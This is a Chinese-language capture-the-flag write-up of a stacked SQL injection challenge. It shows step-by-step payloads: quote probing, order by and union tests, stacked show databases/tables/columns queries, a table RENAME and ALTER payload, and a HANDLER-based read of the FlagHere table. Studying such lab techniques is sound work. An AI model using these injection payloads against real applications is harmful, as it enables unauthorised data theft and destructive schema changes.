今天做的这道题是18年网鼎杯堆叠注入的衍生版,这里记录一下
题目
分析
?inject=1'
报错
?inject=1'--+
正常
然后查看有多少字段
?inject=1' order by 2--+
然后用联合查询
?inject=1' union select 1,2--+
发现有过滤
试试用堆叠注入,查库
/?inject=1';show databases;
查表
?inject=1';show tables;
查看`FlagHere`这张表
?inject=1';show columns from `FlagHere`;
里面有flag字段
查`words`这个字段,里面有id和data两个字段
因为刚开始回显的时候,是从`words`这张表中查询的内容,所以最后肯定是在`words`这张表回显的
这时候我们就可以已下面的骚姿势进行注入:
1.将words表改名为word1或其它任意名字
2.FlagHere改名为words
这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段
3.将新的word表插入一列,列名为id
或者将flag列改名为data
构造payload
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `FlagHere` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;
发现过滤了好多
只能换一种方法了
这里我们用到handler这个东西
HANDLER … OPEN语句打开一个表,使其可以使用后续HANDLER … READ语句访问,该表对象未被其他会话共享,并且在会话调用HANDLER … CLOSE或会话终止之前不会关闭
1';handler FlagHere open;handler FlagHere read first;handler FlagHere close;#